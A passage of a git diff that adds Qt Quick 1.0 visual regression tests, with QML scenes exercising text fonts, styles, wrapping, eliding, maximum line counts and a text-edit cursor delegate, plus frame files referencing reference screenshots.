+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.qml
new file mode 100644
index 00000000..13f413a1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext3.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "plaintext3.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png
new file mode 100644
index 00000000..6a487283
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml
new file mode 100644
index 00000000..3da391dc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "richtext.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.0.png
new file mode 100644
index 00000000..34f8e387
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.qml
new file mode 100644
index 00000000..afae3f89
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "richtext2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml
new file mode 100644
index 00000000..64ab65b8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml
@@ -0,0 +1,101 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ id: s; width: 620; height: 360; color: "lightsteelblue"
+ property string text: "Jackdaws love my big sphinx of quartz."
+
+ Column {
+ spacing: 8
+ TestText {
+ text: s.text; horizontalAlignment: Text.AlignLeft; width: s.width
+ }
+ TestText {
+ font.pixelSize: 18
+ text: s.text; horizontalAlignment: Text.AlignHCenter; verticalAlignment: Text.AlignVCenter; width: s.width;
+ }
+ TestText {
+ font.pixelSize: 24
+ text: s.text; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignBottom; width: s.width;
+ }
+ Grid{
+ columns: 2
+ spacing: 4
+ TestText {
+ text: s.text; color: "red"; smooth: true
+ }
+ TestText {
+ text: s.text; font.capitalization: "AllUppercase"
+ }
+ TestText {
+ text: s.text; font.underline: true
+ }
+ TestText {
+ text: s.text; font.overline: true; smooth: true
+ }
+ TestText {
+ text: s.text; font.strikeout: true
+ }
+ TestText {
+ text: s.text; font.underline: true; font.overline: true; font.strikeout: true
+ }
+ TestText {
+ text: s.text; style: Text.Outline; styleColor: "white"
+ }
+ TestText {
+ text: s.text; style: Text.Sunken; styleColor: "gray"
+ }
+ TestText {
+ text: s.text; style: Text.Raised; styleColor: "yellow"
+ }
+ TestText {
+ text: s.text; font.letterSpacing: 2
+ }
+ }
+ TestText {
+ text: s.text; font.underline: true; font.letterSpacing: 2; font.capitalization: "AllUppercase"; color: "blue"
+ }
+ TestText {
+ text: s.text; font.overline: true; font.wordSpacing: 25; font.capitalization: "Capitalize"; color: "green"
+ }
+ Row{
+ height: childrenRect.height
+ spacing: 4
+ TestText {
+ text: s.text; elide: Text.ElideLeft; width: 200
+ }
+ TestText {
+ text: s.text; elide: Text.ElideMiddle; width: 200
+ }
+ TestText {
+ text: s.text; elide: Text.ElideRight; width: 200
+ }
+ }
+ Row{
+ height: childrenRect.height
+ spacing: 4
+ TestText{
+ text: s.text; elide: Text.ElideLeft; width: 200; wrapMode: Text.WordWrap
+ }
+ TestText {
+ text: s.text; elide: Text.ElideMiddle; width: 200; wrapMode: Text.WordWrap
+ }
+ TestText {
+ text: s.text; elide: Text.ElideRight; width: 200; wrapMode: Text.WordWrap
+ }
+ }
+ Row{
+ height: childrenRect.height
+ spacing: 4
+ TestText {
+ text: s.text + " thisisaverylongstringwithnospaces"; width: 150; wrapMode: Text.WrapAnywhere
+ }
+ TestText {
+ text: s.text + " thisisaverylongstringwithnospaces"; width: 150; wrapMode: Text.Wrap
+ }
+ TestText {
+text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"; wrapMode: Text.WordWrap; width: 200
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext2.qml
new file mode 100644
index 00000000..01de1f00
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext2.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: 400; height: 200
+
+ Row {
+ spacing: 20
+ anchors.centerIn: parent
+ TestText {
+ text: "First line\nSecond line"; wrapMode: Text.Wrap
+ }
+ TestText {
+ text: "First line\nSecond line"; width: 70
+ }
+ TestText {
+ text: "First Second\nThird Fourth"; wrapMode: Text.Wrap; width: 50
+ }
+ TestText {
+ text: "First line<br>Second line"; textFormat: Text.StyledText
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext3.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext3.qml
new file mode 100644
index 00000000..10a2d9ab
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext3.qml
@@ -0,0 +1,62 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: main
+ width: 620; height: 280
+
+
+ Grid {
+ x: 4; y: 4
+ spacing: 8
+ columns: 4
+
+ Column {
+ spacing: 4
+ BorderedText { }
+ BorderedText { horizontalAlignment: Text.AlignHCenter }
+ BorderedText { horizontalAlignment: Text.AlignRight }
+ }
+
+ Column {
+ spacing: 4
+ BorderedText { wrapMode: Text.Wrap }
+ BorderedText { horizontalAlignment: Text.AlignHCenter; wrapMode: Text.Wrap }
+ BorderedText { horizontalAlignment: Text.AlignRight; wrapMode: Text.Wrap }
+ }
+
+ Column {
+ spacing: 4
+ BorderedText { wrapMode: Text.Wrap; elide: Text.ElideRight }
+ BorderedText { horizontalAlignment: Text.AlignHCenter; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ BorderedText { horizontalAlignment: Text.AlignRight; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ }
+
+ Column {
+ spacing: 4
+ BorderedText { width: 230; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ BorderedText { width: 230; horizontalAlignment: Text.AlignHCenter; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ BorderedText { width: 230; horizontalAlignment: Text.AlignRight; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ }
+
+ Column {
+ spacing: 4
+ BorderedText { width: 120; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ BorderedText { width: 120; horizontalAlignment: Text.AlignHCenter; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ BorderedText { width: 120; horizontalAlignment: Text.AlignRight; wrapMode: Text.Wrap; elide: Text.ElideRight }
+ }
+
+ Column {
+ spacing: 4
+ BorderedText { width: 120; wrapMode: Text.Wrap }
+ BorderedText { width: 120; horizontalAlignment: Text.AlignHCenter; wrapMode: Text.Wrap }
+ BorderedText { width: 120; horizontalAlignment: Text.AlignRight; wrapMode: Text.Wrap }
+ }
+
+ Column {
+ spacing: 4
+ BorderedText { width: 120 }
+ BorderedText { width: 120; horizontalAlignment: Text.AlignHCenter }
+ BorderedText { width: 120; horizontalAlignment: Text.AlignRight }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml
new file mode 100644
index 00000000..a748b686
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml
@@ -0,0 +1,47 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ id: s; width: 620; height: 300; color: "lightsteelblue"
+ property string text: "<b>The</b> <i>quick</i> <u>brown</u> <o>fox</o> <big>jumps</big> <small>over</small> <tt>the</tt> <s>lazy</s> <em>dog</em>."
+
+ Column {
+ spacing: 6
+ TestText {
+ text: s.text
+ }
+ TestText {
+ text: s.text; font.pixelSize: 18
+ }
+ TestText {
+ text: s.text; font.pixelSize: 24
+ }
+ TestText {
+ text: s.text; color: "red"; smooth: true
+ }
+ TestText {
+ text: s.text; font.capitalization: "AllUppercase"
+ }
+ TestText {
+ text: s.text; font.underline: true
+ }
+ TestText {
+ text: s.text; font.overline: true; smooth: true
+ }
+ TestText {
+ text: s.text; font.strikeout: true
+ }
+ TestText {
+ text: s.text; font.underline: true; font.overline: true; font.strikeout: true
+ }
+ TestText {
+ text: s.text; font.letterSpacing: 2
+ }
+ TestText {
+ text: s.text; font.underline: true; font.letterSpacing: 2; font.capitalization: "AllUppercase"; color: "blue"
+ }
+ TestText {
+ text: s.text; font.overline: true; font.wordSpacing: 25; font.capitalization: "Capitalize"; color: "green"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext2.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext2.qml
new file mode 100644
index 00000000..f5e85fa0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext2.qml
@@ -0,0 +1,43 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+//This is a continuation of richtext.qml, it was bisected so that it could fit on smaller screens
+Rectangle {
+ id: s; width: 620; height: 300; color: "lightsteelblue"
+ property string text: "<b>The</b> <i>quick</i> <u>brown</u> <o>fox</o> <big>jumps</big> <small>over</small> <tt>the</tt> <s>lazy</s> <em>dog</em>."
+
+ Column {
+ spacing: 6
+ TestText {
+ text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"
+ }
+ TestText {
+ text: s.text; font.pixelSize: 18; style: Text.Sunken; styleColor: "gray"
+ }
+ TestText {
+ text: s.text; font.pixelSize: 18; style: Text.Raised; styleColor: "yellow"
+ }
+ TestText {
+ text: s.text; horizontalAlignment: Text.AlignLeft; width: s.width
+ }
+ TestText {
+ text: s.text; horizontalAlignment: Text.AlignHCenter; verticalAlignment: Text.AlignVCenter; width: s.width; height: 20
+ }
+ TestText {
+ text: s.text; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignBottom; width: s.width; height: 20
+ }
+ Row{
+ height: childrenRect.height;
+ spacing: 4
+ TestText {
+ text: s.text + " thisisaverylongstringwithnospaces"; width: 150; wrapMode: Text.WrapAnywhere
+ }
+ TestText {
+ text: s.text + " thisisaverylongstringwithnospaces"; width: 150; wrapMode: Text.Wrap
+ }
+ TestText {
+ text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"; wrapMode: Text.WordWrap; width: 200
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
new file mode 100644
index 00000000..c24c7c65
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
new file mode 100644
index 00000000..affd3a61
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
new file mode 100644
index 00000000..0ba68e5a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
new file mode 100644
index 00000000..410b47d1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
new file mode 100644
index 00000000..3f1144b8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
new file mode 100644
index 00000000..94cf1d25
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
new file mode 100644
index 00000000..f0ad9651
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
new file mode 100644
index 00000000..4b55312c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
new file mode 100644
index 00000000..62274ce3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
new file mode 100644
index 00000000..7d002ea4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
new file mode 100644
index 00000000..c24c7c65
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
new file mode 100644
index 00000000..affd3a61
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
new file mode 100644
index 00000000..0ba68e5a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
new file mode 100644
index 00000000..410b47d1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
new file mode 100644
index 00000000..3f1144b8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
new file mode 100644
index 00000000..94cf1d25
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "newLines_wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
new file mode 100644
index 00000000..f0ad9651
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
new file mode 100644
index 00000000..4b55312c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
new file mode 100644
index 00000000..62274ce3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
new file mode 100644
index 00000000..7d002ea4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "wrap_elide.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
new file mode 100644
index 00000000..4e993c69
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 2
+ text: "Line1\nLine2\nLine3\nLine4"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
new file mode 100644
index 00000000..5d8f50b5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ text: "Line1 has a more\nLine2\nLine3\nLine4"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
new file mode 100644
index 00000000..ac7b5cbe
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ elide: Text.ElideRight
+ text: "Line1 has a more\nLine2\nLine3\nLine4"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
new file mode 100644
index 00000000..6d72430e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ text: "The quick brown fox jumped over the lazy dog"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
new file mode 100644
index 00000000..785c5f53
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import "../../shared" 1.0
+
+Rectangle {
+ width: childrenRect.width
+ height: childrenRect.height
+
+ TestText {
+ width: 80
+ maximumLineCount: 3
+ wrapMode: Text.WordWrap
+ elide: Text.ElideRight
+ text: "The quick brown fox jumped over the lazy dog"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/qtbug_14865.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/qtbug_14865.qml
new file mode 100644
index 00000000..6699076c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/qtbug_14865.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+ width: 100; height: 20
+
+ TestText {
+ id: label
+ objectName: "label"
+ text: "Hello world!"
+ width: 10
+ }
+
+ Timer {
+ running: true; interval: 1000
+ onTriggered: label.text = ""
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/MultilineEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/MultilineEdit.qml
new file mode 100644
index 00000000..17709ba9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/MultilineEdit.qml
@@ -0,0 +1,76 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Item {
+ id:lineedit
+ property alias text: textEdit.text
+
+ width: 240 + 11 //Should be set manually in most cases
+ height: textEdit.height + 11
+
+ Rectangle {
+ color: 'lightsteelblue'
+ anchors.fill: parent
+ }
+ clip: true
+ Component.onCompleted: textEdit.cursorPosition = 0;
+ TestTextEdit {
+ id:textEdit
+ cursorDelegate: Item {
+ Rectangle {
+ visible: parent.parent.focus
+ color: "#009BCE"
+ height: 13
+ width: 2
+ y: 1
+ }
+ }
+ property int leftMargin: 6
+ property int topMargin: 6
+ property int rightMargin: 6
+ property int bottomMargin: 6
+ x: leftMargin
+ width: parent.width - leftMargin - rightMargin;
+ y: 5
+ //Below function implements all scrolling logic
+ onCursorPositionChanged: {
+ if(cursorRectangle.y < topMargin - textEdit.y){//Cursor went off the front
+ textEdit.y = topMargin - Math.max(0, cursorRectangle.y);
+ }else if(cursorRectangle.y > parent.height - topMargin - bottomMargin - textEdit.y){//Cursor went off the end
+ textEdit.y = topMargin - Math.max(0, cursorRectangle.y - (parent.height - topMargin - bottomMargin) + cursorRectangle.height);
+ }
+ }
+ onHeightChanged: y=topMargin//reset scroll
+
+ text:""
+ horizontalAlignment: TextInput.AlignLeft
+ wrapMode: TextEdit.WordWrap
+ font.pixelSize:15
+ selectionColor: 'steelblue'
+ }
+ MouseArea {
+ //Implements all line edit mouse handling
+ id: mainMouseArea
+ anchors.fill: parent;
+ function translateY(y){
+ return y - textEdit.y
+ }
+ function translateX(x){
+ return x - textEdit.x
+ }
+ onPressed: {
+ textEdit.focus = true;
+ textEdit.cursorPosition = textEdit.positionAt(translateX(mouse.x), translateY(mouse.y));
+ }
+ onPositionChanged: {
+ textEdit.moveCursorSelection(textEdit.positionAt(translateX(mouse.x), translateY(mouse.y)));
+ }
+ onReleased: {
+ }
+ onDoubleClicked: {
+ textEdit.selectAll()
+ }
+ z: textEdit.z + 1
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml
new file mode 100644
index 00000000..1e0f71a5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+import "../shared" 1.0
+
+Rectangle {
+ resources: [
+ Component { id: cursorA
+ Item { id: cPage;
+ Behavior on x { NumberAnimation { } }
+ Behavior on y { NumberAnimation { } }
+ Behavior on height { NumberAnimation { duration: 200 } }
+ Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2;
+ Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0}
+ Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;}
+ }
+ SequentialAnimation on opacity { running: true; loops: Animation.Infinite;
+ NumberAnimation { to: 0; duration: 500; easing.type: "OutQuad"}
+ NumberAnimation { to: 1; duration: 500; easing.type: "InQuad"}
+ }
+ width: 1;
+ }
+ }
+ ]
+ width: 400
+ height: 200
+ color: "white"
+ TestTextEdit { id: mainText
+ text: "Hello World"
+ cursorDelegate: cursorA
+ focus: true
+ font.pixelSize: 28
+ selectionColor: "lightsteelblue"
+ selectedTextColor: "deeppink"
+ color: "forestgreen"
+ anchors.centerIn: parent
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png
new file mode 100644
index 00000000..adbdfa74
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png
new file mode 100644
index 00000000..d3fbdc6e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png
